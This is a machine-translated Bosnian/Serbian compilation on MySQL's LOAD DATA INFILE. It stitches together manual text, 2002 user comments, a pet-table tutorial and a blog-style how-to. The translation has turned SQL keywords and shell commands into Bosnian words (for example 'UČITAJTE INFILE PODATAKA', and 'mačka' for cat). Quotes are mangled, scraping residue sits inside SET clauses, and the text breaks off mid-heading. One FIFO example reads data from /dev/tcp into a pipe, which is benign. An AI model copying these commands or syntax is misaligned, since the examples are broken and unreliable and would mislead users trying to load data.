Upozorenja se izdaju pod istim okolnostima kao kada se upisuju vrijednosti pomoću naredbe INSERT (pogledajte odjeljak 6.4.3 Sintaksa INSERT naredbe), osim što naredba LOAD DATA INFILE dodatno generiše upozorenja kada ima premalo ili previše polja u unosu string. Upozorenja se ne pohranjuju nigdje; broj upozorenja se može koristiti samo za provjeru da li su navedene radnje izvršene normalno. Ako želite da znate šta tačno uzrokuje upozorenja, onda biste trebali SELECT ... INTO OUTFILE u drugu datoteku i uporediti rezultat sa originalnim ulaznim fajlom - to je jedini način da dobijete ove informacije.
Ako trebate LOAD DATA za čitanje iz cijevi, možete koristiti sljedeći trik:
Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "UČITAJTE INFILE "x" U TABELU x" x
Kada koristite verziju MySQL stariju od 3.23.25, gore navedeno se može uraditi samo sa LOAD DATA LOCAL INFILE .
Za više informacija o efikasnosti INSERT u odnosu na LOAD DATA INFILE i povećanju brzine LOAD DATA INFILE, pogledajte odjeljak 5.2.9 Brzina izvršenja INSERT upita.
Komentari korisnika
| Objavio Jason Titus | [Izbriši][Uredi] |
„Upozorenja se ne pohranjuju nigdje; broj upozorenja se može koristiti samo kao
pokazatelj da li je sve prošlo u redu"
Mora da se šališ. Da li se ovo radi kao neka vrsta DBA kazne? tj. - Mi
ZNATE koji su bili problemi, ali moraćete samo da napravite izlaznu datoteku i pogledate je
vaše milione zapisa da ih nađete". Zar ih MySQL nije koristio da ih stavi u dnevnik grešaka,
gde im je mesto? Samo naprijed i učinite to opcijom, ali ovo je dovoljno muke
vratim se na Oracle (a to je potrebno mnogo).
| Objavio campbell u petak, 17. maja 2002, @6:24 ujutro | [Izbriši][Uredi] |
Drugo to. (!) Ne razumem kako ti
napiši tu rečenicu s pravim licem.
| Objavio Jonathon Padfield u petak, 17. maja 2002., @6:24 ujutro | [Izbriši][Uredi] |
Također, nema informacija o tome koji su redovi preskočeni
je dato.
| Objavio u petak, 17. maja 2002. u 6:24 ujutro | [Izbriši][Uredi] |
Ova funkcija je vrlo korisna prilikom podnošenja
INSERT sa web stranice. Ako korisnik pogodi
osvježi i ponovo objavi podatke obrasca što rezultira a
naknadno INSERT istog primarnog ključa podataka,
bum, aplikacija se pokvari. Na ovaj način bi korisnik mogao
pritisnuti F5 dok im lice ne postane plavo, i oni
neće prekinuti naredbu REPLACE.
| [Izbriši][Uredi] |
Imam MyDB folder u c:\mysql\data
Tamo stavljam Data.txt i kada izvršim
UČITAJTE LOKALNI INFILE PODATAKA "Data.txt" U TABELU
MyTable kaže: Naredba je uspješno izvršena
ali NIJEDNE vrijednosti se ne dodaju u MyTable.
Ja sam ispod W2K
| Objavio van hoof philip u petak 17. maja 2002. u 6:24 ujutro | [Izbriši][Uredi] |
Želim da sinhronizujem svoju bazu podataka sa drugom
baza podataka s vremena na vrijeme. To znači da ja
morat ćete koristiti ZAMJENU stvar. Ali šta o tome
zapisi koji više ne postoje u novijim
baza podataka. Hoće li biti obrisani u MySQL?
Postoji li način da se ovo automatski izbriše? Ili je
jedino rješenje za ispuštanje moje MySQL tablice i ponovno kreiranje
prije nego što ga počnem UČITAVATI. Koristim crontab
skripte za ovu operaciju tako da nema ljudske interakcije
moguće je tokom ovih operacija.
| Objavio u petak, 17. maja 2002. u 6:24 ujutro | [Izbriši][Uredi] |
U dokumentaciji nije jasno o čemu
predstavlja "jedinstveni" ključ/indeks u ovoj oblasti. To
povratne reference na "insert", ali insert ne
imaju takvo ograničenje. Našao sam to primarno
ključevi su dovoljno jedinstveni, ali morao sam dodati
prajmeri na kojima ih nisam želio. Možda jesam
nesto nedostaje....
| Objavio u petak, 17. maja 2002. u 6:24 ujutro | [Izbriši][Uredi] |
Veoma je frustrirajuće dobijati upozorenja kada je neko
uvoz podataka u MySQL bazu podataka
mogu pristupiti svim informacijama o upozorenjima.
MySQL zaista treba da doda funkciju koja će
prijavite o čemu se radi u upozorenju, a ne samo
prijaviti upozorenje. U idealnom slučaju informacije o
upozorenje treba dati odmah. At
najmanje neka vrsta evidencije grešaka bi trebala biti
kreirana kojoj korisnik može pristupiti.
| Objavio u petak, 17. maja 2002. u 6:24 ujutro | [Izbriši][Uredi] |
Na "F5 dok im lice ne poplavi" tema...
Ovo bi trebalo biti riješeno u aplikaciji. To
svakako ne škodi reći korisniku: "Vi ste
već ušao u ovo. Prestanite sa osvježavanjem."
Zapravo, zbog broja hipernestrpljivih kraja
gubitnici vani, ovo izgleda posebno
dobra ideja.
| Objavio Larry Irwin u utorak, 20. avgusta 2002., u 11:50 | [Izbriši][Uredi] |
Bilo bi od velike pomoći imati dodatnu opciju
da "IGNORIRAJU OGRANIČENJA" tokom učitavanja
proces.
| Objavio četvrtak, 5. septembar 2002, @1:34 ujutro | [Izbriši][Uredi] |
Postoji kvaka sa "na praznom MyISAM stolu, sve
nejedinstveni indeksi se kreiraju u posebnoj seriji"
budući da je mehanizam koji se koristi "popravka sa
keycache" koji može biti vrlo spor ako ih imate mnogo
indeksi. Zaista treba koristiti mehanizam
zaustavite kreiranje ključeva, a zatim izvršite popravku s njima
myisamchk koristeći "popravi sa sortiranjem" kao što je opisano u
odjeljak 5.2.9 (ako ga možete natjerati da radi:-()
| Objavio srijeda, 9. oktobar 2002, @12:43 | [ |
Sintaksa LOAD DATA INFILE
UČITAJTE INFILE PODATAKA" Ime dokumenta. txt" U TABLE table_name
[ZATVORENO"]
]
]
[(ime_kolone,...)]
Naredba LOAD DATA INFILE čita redove iz tekstualne datoteke i učitava ih u tablicu vrlo velikom brzinom.
Također možete učitati datoteke sa podacima koristeći uslužni program za uvoz mysql. Radi tako što šalje LOAD data INFILE izraz na server. Opcija --local uzrokuje da uslužni program mysqlimport pročita datoteku podataka sa klijentskog hosta. Možete navesti opciju -compress za poboljšanje performansi na sporim mrežama ako klijent i server podržavaju komprimirani protokol.
Ako je navedena ključna riječ LOW_PRIORITY, izvršenje naredbe LOAD DATA se odgađa dok svi drugi klijenti ne završe čitanje.
Ako je ključna riječ CONCURRENT specificirana s MyISAM tablicom koja zadovoljava uvjet paralelnog umetanja (to jest, nema slobodnih blokova u sredini datoteke), tada će druge niti moći dohvatiti podatke iz tablice u isto vrijeme kada LOAD DATA se izvršava. Korištenje ove opcije ima mali utjecaj na performanse na LOAD DATA, čak i ako nijedna druga nit ne radi s ovom tablicom.
Ako je navedena ključna riječ LOCAL, ona se odnosi na klijentsku stranu veze.
- Ako je navedena riječ LOCAL, datoteku čita program klijenta na klijentovom hostu i šalje na server.
- Ako LOKALNA riječ nije specificirana, prenesena datoteka mora biti smještena na serverskom hostu, a server je čita direktno.
LOCAL je dostupan u MySQL 3.22.6 i novijim verzijama.
Iz sigurnosnih razloga, prilikom čitanja tekstualnih datoteka koje se nalaze na serveru, datoteke moraju ili biti u direktoriju podataka ili ih svi mogu čitati. Također, da biste koristili LOAD DATA sa serverskim datotekama, morate imati privilegiju FILE.
Preuzimanje sa opcijom LOCAL je nešto sporije nego kada serveru date mogućnost direktnog pristupa preuzetim datotekama, jer se u tom slučaju sadržaj datoteka prenosi preko mreže preko klijent-ser servera na desnoj konekciju. S druge strane, u ovom slučaju vam nisu potrebne FILE privilegije.
Počevši od MySQL 3.23.49 i MySQL 4.0.2 (4.0.13 za Windows), LOCAL radi samo ako i klijent i server to dozvoljavaju. Na primjer, ako je mysqld pokrenut s opcijom -local-inf ile=0, LOCAL neće raditi.
Ako trebate koristiti LOAD DATA za čitanje iz programske cijevi, možete koristiti sljedeću tehniku:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
mačka< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "UČITAJTE INFILE PODATAKA "x1 U TABELU x" x
Ako koristite verziju MySQL-a stariju od 3.23.25, ova tehnika se može koristiti samo sa LOAD DATA LOCAL INFILE.
Ako imate verziju MySQL-a stariju od 3.23.24, nećete moći čitati koristeći naredbu LOAD DATA INFILE iz FIFO. Ako trebate čitati iz FIFO (npr. gunzip izlaz), umjesto toga koristite LOAD DATA LOCAL INFILE.
Kada traži datoteku u svom sistemu datoteka, server se rukovodi sljedećim pravilima:
- Ako je specificirana apsolutna putanja, server je koristi takvu kakva jeste.
- Ako je data relativna staza sa jednom ili više vodećih komponenti, server traži datoteke u odnosu na svoj direktorij podataka.
- Ako je dato ime datoteke bez komponenti vodećih staza, poslužitelj traži datoteku u zadanom direktoriju podataka baze podataka.
Imajte na umu da ova pravila impliciraju da se datoteka pod nazivom ./myfile.txt čita iz serverskog direktorija podataka, dok se datoteka pod nazivom myfile,txt čita iz zadanog direktorija podataka baze podataka. Na primjer, sljedeća izjava LOAD DATA INFILE čita datoteku data.txt iz direktorija podataka dbl baze podataka jer je dbl trenutna baza podataka, iako izraz učitava podatke u db2 bazu podataka:
mysql> KORISTI dbl;
mysql> UČITAJTE INFILE PODATAKA "data.txt" U TABELU db2.my_table;
Ključne riječi REPLACE i IGNORE kontroliraju rukovanje ulaznim nizovima koji dupliciraju postojeće jedinstvene ključeve po vrijednosti.
Ako je naveden REPLACE, ulazni redovi zamjenjuju postojeće redove (drugim riječima, redovi koji imaju iste vrijednosti primarnog ili jedinstvenog ključa kao postojeći redovi u tablici). Pogledajte sintaksu REPLACE
Ako je specificirano IGNORE, tada se zanemaruju ulazni redovi koji dupliciraju postojeće redove s istim primarnim ili jedinstvenim vrijednostima ključa. Ako nije navedena nijedna opcija, tada ponašanje ovisi o tome je li specificirana lokalna ključna riječ. U nedostatku LOCAL, greška se generiše ako se pronađe duplikat ključa, a ostatak tekstualne datoteke se zanemaruje. Ako je LOCAL prisutan, zadano ponašanje je isto kao da je specificirano IGNORE. To je zato što server ne može zaustaviti prijenos datoteke dok je ova operacija u toku.
Ako želite da zanemarite ograničenja stranog ključa tokom operacije učitavanja podataka, možete izdati SET FOREIGN_KEY_CHECKS=0 izraz prije pokretanja LOAD DATA.
Ako pokrenete LOAD DATA na praznoj MyISAM tablici, svi nejedinstveni indeksi se kreiraju u zasebnom poslu (kao za REPAIR TABLE). Ovo obično rezultira da je LOAD DATA mnogo brži kada postoji mnogo indeksa. Ovo je općenito vrlo brzo, ali u nekim posebnim slučajevima možete kreirati indekse čak i brže tako što ćete ih isključiti pomoću ALTER TABLE.. .ISKLJUČITE KLJUČEVE prije učitavanja
datoteku u tablicu, ponovo kreirajući indekse i omogućavajući ih sa ALTER TABLE.. .ENABLE KEYS nakon završetka učitavanja.
LOAD DATA INFILE je dodatak SELECT.. .INTO OUTFILE. Pogledajte SELECT sintaksu Za pisanje podataka iz tabele u datoteku koristite SELECT... INTO OUTFILE. Za čitanje podataka iz datoteke u tabelu, koristite LOAD DATA INFILE. Sintaksa konstrukcija FIELDS i LINES je ista za oba izraza. Obje ove konstrukcije su opcione, ali polja moraju prethoditi LINES ako su oba navedena.
Ako je navedena konstrukcija FIELDS, tada su svi njeni parametri (ZAVRŠENO BY, ENCLOSED BY i ESCAPED BY) također opcioni, osim zahtjeva da mora biti prisutan barem jedan parametar.
Ako konstrukcija FIELDS nije navedena, podrazumevano je:
POLJA ZAVRŠENA SA "tf ENCLOSED BY "ESCAPED BY"
Ako LINES nije specificiran, default je:
REDOVI ZAVRŠENI SA "n! POČINJUĆI"
Drugim riječima, zadano ponašanje LOAD DATA INFILE prilikom čitanja unosa je:
- Potražite separatore redova na početku redova.
- Nemojte preskočiti nijedan prefiks niza.
- Podijelite red u polja po znakovima tabulatora.
- Ne očekujte da će polja biti navedena.
- Protumačite pojavljivanje tabulatora, novog reda ili "\" kojem prethodi \ kao literalne znakove koji su dio vrijednosti polja.
Obrnuto, SELECT ... INTO OUTFILE se ponaša ovako prema zadanim postavkama:
- Upisuje tabulatore između polja.
- Ne okružuje vrijednosti polja navodnicima.
- Koristi *" za isticanje kartica, novih redova ili "\" koji se pojavljuju unutar vrijednosti polja.
- Piše znak za novi red na kraju redaka.
Napomenu!
Ako ste generisali tekstualnu datoteku na Windows sistemu, možda ćete morati da navedete LINES TERMINATED BY "rn da biste ispravno pročitali datoteku, pošto Windows programi obično koriste ova dva znaka kao separatore redova. Neki programi, kao što je WordPad, mogu koristiti znak "r " kao separator redova Za čitanje takvih datoteka, koristite REDOVE ZAVRŠENE SA "r".
Ako svi redovi fajla koji se čita imaju zajednički prefiks koji želite da zanemarite, koristite LINES KOJI POČINJU S " string_prefixes da biste preskočili ovaj prefiks. Ako niz ne sadrži prefiks, on se preskače u cijelosti.
IGNORE opciju broj LINES se koristi za ignorisanje određenog broja redova na početku datoteke. Na primjer, možete koristiti IGNORE I LINES da preskočite vodeći red koji sadrži nazive stupaca:
mysql> UČITAJTE INFILE PODATAKA "/tmp/test.txt" -> U TABELU test IGNORISITE 1 RED;
Kada koristite SELECT... INTO OUTFILE u kombinaciji sa LOAD DATA INFILE da zapišete podatke iz baze podataka u datoteku, a zatim ih pročitate i učitate natrag u bazu podataka, opcije kontrole reda i polja za oba izraza moraju se podudarati. U suprotnom, LOAD DATA INFILE neće moći ispravno protumačiti sadržaj tekstualne datoteke. Pretpostavimo da podatke šaljete u tekstualnu datoteku koristeći SELECT.. .INTO OUTFILE, odvajajući polja zarezima:
mysql> SELECT* INTO OUTFILE "data.txt" -> FELDS TERMINATED BY"," -> FROM table2;
Da biste vratili datoteku odvojenu zarezima, ispravna stvar koju treba učiniti je:
mysql> UČITAJ INFILE PODATAKA "data.txt1 U TABELU tabelu2 -> POLJA ZAKLJUČENA OD
Ako umjesto toga pokušate da ga pročitate s naredbom ispod, neće raditi jer će LOAD DATA INFILE tražiti tabove između vrijednosti polja:
mysql> UČITAJTE INFILE PODATAKA "data.txt" U TABELU tabelu 2 ->
POLJA ZAVRŠENA SA "t";
Najvjerovatniji ishod bi bio tumačenje ulaznog niza kao jednog polja.
LOAD DATA INFILE se također može koristiti za čitanje datoteka iz vanjskih izvora. Na primjer, datoteka može imati polja odvojena zarezima i zatvorena u dvostruke navodnike. Ako su redovi u datoteci odvojeni znakom za novi red, sljedeći primjer ilustrira koje opcije razdvajanja reda i stupaca moraju biti postavljene za učitavanje datoteke:
mysql> UČITAJTE INFILE PODATAKA "data.txt" U TABELUtable_name-> POLJA ZAVRŠENA SA 1,1 ZAVRŠENA SA "" -> REDOVI ZAVRŠENI SA"n";
Sve opcije koje specificiraju graničnike redova i stupaca mogu dobiti prazne nizove ("") kao argumente. Ako argumenti nisu prazni nizovi, tada vrijednosti ZA POLJA ZAKLJUČENA I POLJA KOJA SE IZbjegnu MORAJU biti OPCIJE SA JEDNIM ZNAKOM. POLJA ZAVRŠENA OPCIJE Argumenti BY, REDOVI KOJI POČINJU, i REDOVI ZAVRŠENI SA mogu biti dugi više od jednog znaka. Na primjer, za pisanje redova razdvojenih povratnim znakovima/prevodima reda, ili za čitanje datoteka koje sadrže takve redove, koristite LINES ZAVRŠENE SA "rn".
Da biste pročitali datoteku odvojenu redovima sa %% znakova, možete učiniti sljedeće:
mysql> CREATE TABLIČNE šale
-> (INT NOT NULL AUTO_INCREMENT PRIMARNI KLJUČ, -> TEKST šale NIJE NULL);
mysql> UČITAJTE INFILE PODATAKA "/tmp/jokes,txf U TABELU šale -> POLJA ZAVRŠENA SA "" -> REDOVI ZAVRŠENI SA "\n%%\n" (šala);
FIELDS ENCLOSED BY kontroliše graničnike polja (navodnike). U izlazu (SELECT ... INTO OUTFILE), ako izostavite riječ OPTIONALY, sva polja će biti okružena znakom navedenim u ENCLOSED BY. Primjer takvog izlaza (koristeći zarez kao razdjelnik polja) prikazan je u nastavku:
"1","niz","100.20"
"2","niz koji sadrži , zarez","102.20"
"3","niz koji sadrži \" citat","102.20"
"4","niz koji sadrži \", navodnik i zarez","102.20"
Ako navedete OPCIONALNO, onda se znak ENCLOSED BY primjenjuje samo na navodna polja CHAR i VARCHAR:
1,"niz",100.20
3,"niz koji sadrži \"navodnik",102.20
4,"niz koji sadrži \", navodnik i zarez",102.20
Imajte na umu da pojavljivanju znaka navedenog u ENCLOSED BY unutar vrijednosti polja prethodi znak specificiran u ESCAPED BY. Također, ako navedete praznu vrijednost za ESCAPED BY, moguće je da će se generirati datoteka koju LOAD DATA INFILE ne može ispravno učitati.
Na primjer, ako je znak za poništavanje ostavljen prazan, gornji izlaz će izgledati kao onaj ispod. Lako je uočiti da drugo polje u četvrtom redu sadrži zarez praćen navodnikom, što bi (pogrešno) izgledalo kao separator polja.
1,"niz",100.20
2,"niz koji sadrži , zarez",102.20
3,"niz koji sadrži "navodnik",102.20
4,"niz koji sadrži ", navodnik i zarez",102.20
Prilikom unosa, znak ENCLOSED BY, ako postoji, uklanja se sa kraja vrijednosti polja. (Ovo je tačno bez obzira da li je reč OPTIONALLY specificirana ili ne. Ova reč nema uticaja na interpretaciju unosa.) Pojava ENCLOSED BY znakova kojima prethodi znak ESCAPED BY se tumači kao deo trenutne vrednosti polja.
Ako polje počinje znakom ENCLOSED BY, instance tog znaka se tumače kao završetak vrijednosti polja samo ako ih prati polje TERMINATED BY ili sekvenca. Da bi se izbjegla dvosmislenost kada se znak ENCLOSED BY pojavi unutar vrijednosti polja, taj znak može biti dupliciran i tumačit će se kao jedna instanca znaka. Na primjer, ako je ENCLOSED BY "" navedeno, navodnicima se rukuje na sljedeći način:
""VELIKI"" šef" -> "VELIKI" šef "VELIKI" šef -> "VELIKI" šef ""VELIKI"" šef -> ""VELIKI"" šef
FIELDS ESCAPED BY kontroliše čitanje ili pisanje specijalnih znakova. Ako argument FIELDS ESCAPED BY nije prazan, koristi se kao prefiks za sljedeće znakove u izlazu:
- Znak FIELDS ESCAPED BY.
- Znak FIELDS ENCLOSED BY.
- Prvi znak FIELDS TERMINATED BY I LINES TERMINATED BY sekvencama.
- ASCII 0 (koji se zapisuje nakon znaka za poništavanje kao ASCII "0", a ne null bajt).
Ako je znak FIELDS ESCAPED BY prazan, nema znakova koji prethode escape znakovima, a NULL se ispisuje kao NULL, a ne \N. Vjerovatno nije dobra ideja ostaviti prazan argument FIELDS ESCAPED BY, posebno ako vrijednosti polja podataka sadrže bilo koji od navedenih znakova.
Prilikom unosa, ako FIELDS ESCAPED BY nije prazan, onda kada se taj znak pojavi u nizu vrijednosti, on se uklanja, a znak koji slijedi čita se doslovno kao dio vrijednosti polja. Izuzeci su "0" ili "N" (SYS-PAGE-CONTENT ili \N ako je "\" izlazni znak). Ove sekvence se tumače kao ASCII NUL (nula bajtova) i NULL, respektivno. Pravila za rad sa NULL-om su opisana kasnije u ovom odjeljku.
Više informacija o sintaksi otkazivanja "\" možete pronaći u odjeljku Literalne vrijednosti
U nekim slučajevima, opcije koje kontrolna polja i redovi međusobno djeluju:
- Ako je prazan niz specificiran za LINES TERMINATED BY i FIELDS TERMINATED BY nije prazan, tada LINES TERMINATED BY također služi kao separator reda.
- AKO su POLJA ZAVRŠENA SA I POLJA ZAKLJUČENA I prazna, koristi se fiksni format stringa (bez graničnika). Ovaj format ne koristi nikakve separatore između polja (ali možete imati separator redova). Umjesto toga, vrijednosti stupaca se pišu i čitaju pomoću širine prikaza kolone. Na primjer, ako je stupac deklariran kao INT(7), vrijednosti stupca se upisuju u polje od sedam znakova. Dok kucate, vrijednosti stupaca se preuzimaju čitanjem sedam znakova.
LINES TERMINATED BY se i dalje koristi za razdvajanje linija. Ako red ne sadrži sva polja, ostali stupci se postavljaju na svoje zadane vrijednosti. Ako nemate terminator reda, njegova vrijednost treba biti postavljena na 1". U ovom slučaju, tekstualna datoteka mora sadržavati sva polja na svakoj liniji. Format fiksne dužine linije također se bavi NULL vrijednostima, kao što je opisano u nastavku. Imajte na umu da dužina formata fiksne linije ne radi ako se koristi višebajtni skup znakova (na primjer, Unicode).
Rukovanje NULL vrijednostima varira ovisno o korištenim opcijama FIELDS i LINES:
- Sa zadanim vrijednostima FIELDS i LINES, NULL se upisuje kao vrijednost polja kao \N na izlazu, a ista \N vrijednost se čita kao NULL na ulazu (pod pretpostavkom da je znak ESCAPED BY postavljen na "\")-
- Ako FIELDS ENCLOSED BY nije prazno, tada se polje koje sadrži literalnu riječ NULL čita kao NULL vrijednost. Ovo se razlikuje od slučaja kada je riječ NULL ograničena na POLJA ENCLOSED BY znakovima, gdje se vrijednost čita kao niz "NULL".
- Ako je FIELDS ESCAPED BY prazan, NULL se piše kao riječ NULL.
- Sa fiksnim formatom stringa (što se dešava kada su i FIELDS TERMINATED BY i FIELDS ENCLOSED BY prazna), NULL se zapisuje kao prazan niz. Imajte na umu da to uzrokuje da NULL vrijednosti i prazni redovi u tabeli postanu nerazlučivi kada se upisuju u datoteku, jer oba pišu nulte redove. Ako trebate razlikovati to dvoje, izbjegavajte korištenje formata fiksne dužine linije.
Ispod su neki slučajevi koje ne podržava LOAD DATA INFILE:- Stringovi fiksne dužine (POLJA ZAVRŠENA I POLJA ZAKLJUČENA BY su nyc) kada postoje stupci tipa TEXT ili BLOB.
- Ako navedete graničnik koji odgovara prefiksu drugog, LOAD DATA INFILE ne može ispravno interpretirati ulazni tok. Na primjer, sljedeća opcija će dovesti do problema:
POLJA ZAKLJUČENA SA ""ENCLOSED BY""
- Ako je FIELDS ESCAPED BY prazna, vrijednosti polja koje uključuju znakove FIELDS ENCLOSED BY ILI LINES TERMINATED BY praćene LINES TERMINATED BY će uzrokovati da LOAD DATA INFILE prerano prestane čitati datoteku ili red. Ovo će se dogoditi jer LOAD DATA INFILE ne može ispravno odrediti gdje se završava vrijednost polja ili reda. Sljedeći primjer učitava sve stupce tabele personalnih podataka: mysql> UČITAJTE INFILE PODATAKA "persondata.txt" U TABELU persondata;
Prema zadanim postavkama, ako nije navedena lista stupaca na kraju izraza LOAD DATA INFILE, očekuje se da red za unos sadrži polja za svaki stupac tablice. Ako želite da učitate samo neke od kolona tabele, navedite listu kolona:
mysql> UČITAJTE INFILE PODATAKA "persondata.txt1
-> INTO TABLE persondata(coll,col2,...);
Takođe morate navesti listu kolona ako se redosled polja u ulaznoj datoteci razlikuje od redosleda kolona u tabeli. Inače, MySQL neće moći mapirati polja za unos u kolone tabele.
Ako ulazna datoteka ima premalo polja po redu, kolonama koje nedostaju bit će dodijeljene zadane vrijednosti. Dodjeljivanje zadanih vrijednosti opisano je u odjeljku CREATE TABLE Sintaksa.
Vrijednosti praznih polja tumače se drugačije od onih koje nedostaju:- Za tipove stringova, prazan niz se dodeljuje koloni.
- Za numeričke tipove, koloni se dodeljuje 0.
- Za tipove datuma i vremena - kolona je postavljena na odgovarajući tip
"null" vrijednost. Pogledajte Vrste datuma i vremena
Ovo su iste vrijednosti koje proizlaze iz eksplicitnog dodjeljivanja praznog niza stupcima ovih tipova u INSERT ili UPDATE iskazu.
Vrijednosti stupca TIMESTAMP se postavljaju na trenutni datum i vrijeme samo ako su postavljeni na NULL (tj. \N), ili ako je kolona tog tipa izostavljena iz liste polja, ako je data lista polja.LOAD DATA INFILE tretira sav unos kao string, tako da ne možete koristiti numeričke vrijednosti za ENUM ili SET stupce, kao što je dozvoljeno u INSERT izjavama. Sve ENUM ili SET vrijednosti moraju biti navedene kao stringovi!
Kada se naredba LOAD DATA INFILE završi, vraća niz informacija u sljedećem formatu:
Zapisi: Izbrisano: 0 Preskočeno: 0 Upozorenja: O
Ako radite sa C API-jem, informacije o ovoj izjavi možete dobiti pozivanjem funkcije mysql_info().
Upozorenja koja se pojavljuju pod određenim uslovima su ista kao kod umetanja vrednosti sa naredbom INSERT (pogledajte odeljak 6.1.4), osim što LOAD DATA INFILE takođe generiše upozorenja da ima premalo ili premalo u ulaznoj datoteci. mnogo polja. Upozorenja se ne pohranjuju nigdje, broj upozorenja se može koristiti samo kao pokazatelj da je sve prošlo kako treba.
Počevši od MySQL 4.1.1, možete koristiti SHOW WARNINGS da navedete prva upozorenja max_error_count kao informacije o šta učitavanje je pošlo po zlu. Pogledajte SHOW WARNINGS sintaksu
Prije MySQL 4.1.1, samo je broj upozorenja bio indikacija da učitavanje ne radi glatko. Ako dobijete upozorenje i želite da znate tačno zašto se to dogodilo, jedini način da to uradite je da upotrebite SELECT.. .INTO OUTFILE da iznesete dump tabele u drugu datoteku i uporedite je sa originalnom ulaznom datotekom.
Nakon kreiranja tabele, morate je popuniti podacima. Uputstva i INSERT korisno za ovo. Kako rade, pričaćemo malo kasnije, ali za sada razmislimo o podacima koje treba uneti u tabelu. Kako tačno izgledaju?
Pretpostavimo da se vaši zapisi o životinjama mogu opisati kao što je prikazano u nastavku. Imajte na umu da MySQL očekuje datume u formatu godina-mjesec-dan, što može biti drugačije od onoga na što ste navikli. Godinu je najbolje unijeti kao 4 cifre. MySQL ima prilično složen algoritam za ispravno rukovanje dvocifrenim vrijednostima godina, ali to još ne morate razumjeti, pa unesite podatke nedvosmisleno. Svi podaci o životinjama za naš primjer prikazani su u tabeli 2.2:
Tabela 2.2. Podaci o životinjama
| ime | vlasnik | vrste | sex | rođenje | smrt |
| Fluffy | Harold | mačka | f | 1993-02-04 | |
| Fluffy | Harold | mačka | f | 1993-02-04 | |
| Kandže | Gwen | mačka | m | 1994-03-17 | |
| Buffy | Harold | pas | f | 1989-05-13 | |
| Fang | Benny | pas | m | 1990-08-27 | |
| bowser | Diane | pas | m | 1989-08-31 | 1995-07-29 |
| Chirpy | Gwen | ptičica | f | 1998-09-11 | |
| Whistler | Gwen | ptičica | 1997-12-09 | ||
| Slim | Benny | zmija | m | 1996-04-29 |
Budući da počinjete s praznom tablicom, najlakši način da je popunite je da kreirate tekstualnu datoteku koja sadrži red za svaku vašu životinju, a zatim učitate sadržaj datoteke u tabelu pomoću samo jedne instrukcije.
Možete kreirati tekstualnu datoteku pet.txt koja sadrži jedan unos po redu, sa vrijednostima razdvojenim tabulatorima u redoslijedu kojim su stupci navedeni u izjavi CREATE TABLE. Za vrijednosti koje nedostaju (kao što su nepoznati spol ili datumi smrti za životinje koje su još uvijek žive), možete koristiti NULL vrijednosti. Da biste ih predstavili u tekstualnoj datoteci, koristite oznaku. Na primjer, unos o ptici Whistler izgleda otprilike ovako (označio sam karticu razmakom):
Whistler Gwen ptičica 1997-12-09
Da biste učitali podatke iz tekstualne datoteke pet.txt koja se nalazi na lokalnom računaru (klijent), a ne na serveru u tabelu pet, koristite naredbu LOAD DATA:
Mysql> UČITAJ LOKALNI INFILE PODATAKA "pet.txt" U TABLE pet;
Ključne riječi imaju sljedeće značenje. INFILE specificira niz koji je ime datoteke iz koje se čitaju podaci. Budući da je ime string, ono je zatvoreno u navodnike, inače će MySQL pokušati da ga proceni kao numerički izraz. LOCAL specificira da se datoteka traži na klijentskom sistemu, a ne na serveru. INTO TABLE nalaže učitavanje podataka u tabelu čije je ime navedeno odmah iza reči TABLE (odvojeno razmakom).
Ako želite, možete eksplicitno navesti separator vrijednosti stupca i marker za kraj reda u izjavi, ali zadane vrijednosti su samo tabulatori i novi redovi. Oni su dovoljni za pravilno čitanje datoteke pet.txt, a sada vam više ne treba.
Kada želite dodati nove zapise jedan po jedan, instrukcija je korisna INSERT. U najjednostavnijem obliku, dajete vrijednosti za svaku kolonu redoslijedom kojim su stupci navedeni u naredbi CREATE TABLE. Pretpostavimo da je Diane dobila novog hrčka Puffball na poklon. Možete dodati novi unos koristeći INSERT izraz, otprilike ovako:
MySQL> INSERT INTO pet
-> VRIJEDNOSTI ("Puffball","Diane","hrčak","f","1999-03-30","NULL");
Ključne riječi ovdje također nisu posebno teške. INTO pet određuje u koji stol će se umetnuti. VRIJEDNOSTI specificira listu vrijednosti za umetanje za novi unos u tabeli. Vrijednosti su navedene odvojene zarezima i sve zajedno su uzete u zagrade.
Imajte na umu da su stringovi i vrijednost datuma definirani kao nizovi. Možete direktno umetnuti NULL (ne kao string) da predstavite odsustvo vrijednosti.
Iz ovog primjera možete vidjeti da bi bilo potrebno dosta kucanja za učitavanje direktno u tabelu. Uputstva su uštedjela mnogo vremena.
Da li ste ikada morali da učitavate podatke iz datoteke u tabelu iz datoteke? Ako ne, pokušat ću vam ukratko reći o jednom od načina da to učinite.
Učitajte podatke u tabelu iz datoteke
UČITAJTE INFILE PODATAKA "data.csv" U TABELU my_table Ova konstrukcija će vam pomoći da učitate podatke iz datoteke u vašu tabelu.
Ako želite učitati formatirane podatke, recimo odvojene zarezom, sljedeća konstrukcija će vam pomoći:
UČITAJTE INFILE PODATAKA "data.csv" U TABELU my_table FIELDS TERMINATED BY "," ENCLOSED BY """ ESCAPED BY "\\"
LINIJE ZAKLJUČENE SA "\r\n"
Šta to znači?
- Potražite završetak reda kao znakove "\r\n"
- Podijelite redove u polja znakovima zarezom (,).
- Očekujte da polja budu zatvorena znakovima navodnika.
- Protumačite pojavljivanje tabulatora, novih redova ili "\" kojem prethodi "\" kao literale koji su dio vrijednosti polja.
LOAD DATA INFILE konstrukcija
Sve što smo gore opisali je poznata konstrukcija LOAD DATA INFILE.
Pristup odbijen zbog greške korisnika
Ako iznenada naiđete na grešku Pristup korisniku odbijen, onda samo trebate dodati atribut LOCAL front INFILE. Na primjer:
UČITAJTE LOKALNI INFILE PODATAKA "data.csv" U TABELU my_table
Učitajte podatke u tabelu iz datoteke za određena polja
UČITAJTE LOKALNI INFILE PODATAKA "data.csv" U TABELU t1 POLJA ZAVRŠENA SA "," REDOVI ZAVRŠENI SA "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) naziv skupa [email protected] col4 , id [email protected] col2 ;
Ovdje navodimo ime datoteke (data.csv) iz koje će se podaci učitavati. U konstrukciji (@col1,@col2,@col3,@col4) nabrajamo sve kolone fajla za njihovu dalju upotrebu. A zatim, koristeći poznatu metodu skupa, postavljamo vrijednosti ovih stupaca za određena polja tablice.
UČITAJTE INFILE PODATAKA pomoću JOIN
